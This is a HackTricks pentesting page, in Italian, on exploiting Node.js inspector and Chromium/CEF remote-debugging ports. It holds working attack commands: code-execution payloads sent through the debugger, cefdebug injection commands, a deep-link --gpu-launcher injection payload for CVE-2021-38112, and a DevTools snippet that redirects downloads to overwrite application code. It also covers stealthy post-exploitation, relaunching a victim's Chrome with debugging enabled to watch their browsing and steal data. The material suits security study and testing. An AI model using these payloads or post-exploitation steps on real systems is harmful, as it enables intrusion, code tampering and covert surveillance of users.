Node inspector/CEF debug abuse

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di Base

Dalla documentazione: Quando avviato con l'interruttore --inspect, un processo Node.js ascolta un client di debug. Per default, ascolterà all'host e alla porta 127.0.0.1:9229. Ad ogni processo viene assegnato anche un UUID unico.

I client dell'Inspector devono conoscere e specificare l'indirizzo dell'host, la porta e l'UUID per connettersi. Un URL completo avrà un aspetto simile a ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e.

Poiché il debugger ha pieno accesso all'ambiente di esecuzione di Node.js, un attore malintenzionato in grado di connettersi a questa porta potrebbe essere in grado di eseguire codice arbitrario a nome del processo Node.js (possibile escalation dei privilegi).

Ci sono diversi modi per avviare un inspector:

node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

Quando si avvia un processo ispezionato, apparirà qualcosa del genere:

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector

I processi basati su CEF (Chromium Embedded Framework) come hanno bisogno di utilizzare il parametro: --remote-debugging-port=9222 per aprire il debugger (le protezioni SSRF rimangono molto simili). Tuttavia, invece di concedere una sessione debug di NodeJS, comunicheranno con il browser utilizzando il Chrome DevTools Protocol, che è un'interfaccia per controllare il browser, ma non c'è una RCE diretta.

Quando si avvia un browser in modalità di debug, apparirà qualcosa del genere:

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

Browser, WebSockets e politica della stessa origine

I siti web aperti in un browser web possono effettuare richieste WebSocket e HTTP nel modello di sicurezza del browser. Una connessione HTTP iniziale è necessaria per ottenere un ID sessione debugger univoco. La politica della stessa origine impedisce ai siti web di poter effettuare questa connessione HTTP. Per una sicurezza aggiuntiva contro gli attacchi di rebinding DNS, Node.js verifica che gli 'Host' headers per la connessione specificano esattamente un indirizzo IP o localhost o localhost6.

Queste misure di sicurezza impediscono di sfruttare l'ispettore per eseguire codice inviando semplicemente una richiesta HTTP (cosa che potrebbe essere fatta sfruttando una vulnerabilità SSRF).

Avvio dell'ispettore nei processi in esecuzione

Puoi inviare il segnale SIGUSR1 a un processo nodejs in esecuzione per farlo avviare l'ispettore nella porta predefinita. Tuttavia, nota che è necessario disporre di sufficienti privilegi, quindi ciò potrebbe garantirti accesso privilegiato alle informazioni all'interno del processo ma non un'escalation diretta dei privilegi.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Questo è utile nei container perché arrestare il processo e avviarne uno nuovo con --inspect non è un'opzione poiché il container verrà terminato con il processo.

Connettersi all'ispettore/debugger

Per connettersi a un browser basato su Chromium, gli URL chrome://inspect o edge://inspect possono essere utilizzati per Chrome o Edge, rispettivamente. Cliccando sul pulsante Configura, assicurarsi che l'host e la porta di destinazione siano elencati correttamente. L'immagine mostra un esempio di Esecuzione di Codice Remoto (RCE):

Utilizzando la riga di comando è possibile connettersi a un debugger/ispettore con:

node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

Il tool https://github.com/taviso/cefdebug, permette di trovare ispettori in esecuzione localmente e iniettare codice al loro interno.

#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

Si noti che gli exploit NodeJS RCE non funzioneranno se connessi a un browser tramite il Protocollo Chrome DevTools (è necessario controllare l'API per trovare cose interessanti da fare con esso).

RCE nel Debugger/Ispezionatore NodeJS

Se sei qui per capire come ottenere RCE da un XSS in Electron, controlla questa pagina.

Alcuni modi comuni per ottenere RCE quando puoi connetterti a un ispettore Node è utilizzando qualcosa del genere (sembra che questo non funzioni in una connessione al protocollo Chrome DevTools):

process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))

Payloads del Protocollo Chrome DevTools

Puoi controllare l'API qui: https://chromedevtools.github.io/devtools-protocol/ In questa sezione elencherò solo le cose interessanti che ho trovato che le persone hanno usato per sfruttare questo protocollo.

Iniezione di Parametri tramite Collegamenti Profondi

Nel CVE-2021-38112 Rhino Security ha scoperto che un'applicazione basata su CEF ha registrato un URI personalizzato nel sistema (workspaces://) che riceveva l'URI completo e poi avviava l'applicazione basata su CEF con una configurazione parzialmente costruita da quell'URI.

È stato scoperto che i parametri dell'URI venivano decodificati dall'URL e utilizzati per avviare l'applicazione di base CEF, consentendo a un utente di inserire il flag --gpu-launcher nella riga di comando ed eseguire cose arbitrarie.

Quindi, un payload come:

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

Sovrascrittura dei file

Cambia la cartella dove i file scaricati verranno salvati e scarica un file per sovrascrivere frequentemente usato codice sorgente dell'applicazione con il tuo codice maligno.

ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
id: 42069,
method: 'Browser.setDownloadBehavior',
params: {
behavior: 'allow',
downloadPath: '/code/'
}
}));

RCE e esfiltrazione di Webdriver

Secondo questo post: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 è possibile ottenere RCE e esfiltrare pagine interne da theriver.

Post-Esploitation

In un ambiente reale e dopo aver compromesso un PC utente che utilizza un browser basato su Chrome/Chromium, potresti avviare un processo Chrome con il debugging attivato e inoltrare la porta di debug in modo da poterci accedere. In questo modo sarai in grado di ispezionare tutto ciò che la vittima fa con Chrome e rubare informazioni sensibili.

Il modo stealth è terminare ogni processo Chrome e poi chiamare qualcosa come

Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

Riferimenti

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated